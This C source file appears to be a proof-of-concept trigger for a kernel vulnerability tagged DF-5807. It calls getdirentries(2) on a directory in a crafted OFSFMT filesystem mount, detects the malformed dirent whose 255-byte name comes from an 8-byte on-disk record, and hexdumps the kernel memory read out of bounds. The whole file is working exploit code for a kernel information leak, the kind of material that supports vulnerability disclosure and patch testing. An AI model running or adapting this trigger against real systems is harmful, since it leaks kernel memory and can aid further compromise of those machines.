/*
 * DF-5807 trigger: getdirentries(2) on the crafted OFSFMT mount.
 * Dumps every returned dirent; the payload record has d_namlen=255 with
 * a 255-byte "name" read from beyond the buffer-cache buffer.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/dirent.h>
#include <sys/param.h>

int main(int argc, char **argv)
{
	int fd, n, i;
	long base = 0;
	char buf[65536];
	struct dirent *d;

	if (argc < 2) { fprintf(stderr, "usage: %s <dir>\n", argv[0]); return 1; }
	fd = open(argv[1], O_RDONLY);
	if (fd < 0) { perror("open"); return 1; }
	n = getdirentries(fd, buf, sizeof(buf), &base);
	if (n < 0) { perror("getdirentries"); return 1; }
	printf("getdirentries n=%d\n", n);
	for (i = 0; i < n; ) {
		char *p = buf + i;
		struct dirent *d = (struct dirent *)p;
		int j;
		printf("dirent @%d: fileno=%lu type=%u namlen=%u reclen=%u\n",
		       i, (unsigned long)d->d_fileno, d->d_type,
		       d->d_namlen, _DIRENT_RECLEN(d->d_namlen));
		if (d->d_namlen == 255) {
			printf("  *** 255-byte name from an 8-byte on-disk "
			       "record (OOB read) ***\n  name hexdump:\n");
			for (j = 0; j < 255; j += 16) {
				int k;
				printf("   %04x: ", j);
				for (k = 0; k < 16 && j + k < 255; k++)
					printf("%02x ",
					       (unsigned char)d->d_name[j+k]);
				printf(" |");
				for (k = 0; k < 16 && j + k < 255; k++) {
					unsigned char c = d->d_name[j+k];
					putchar((c >= 32 && c < 127) ? c : '.');
				}
				printf("|\n");
			}
		}
		if (_DIRENT_RECLEN(d->d_namlen) == 0) break;
		i += _DIRENT_RECLEN(d->d_namlen);
	}
	close(fd);
	return 0;
}
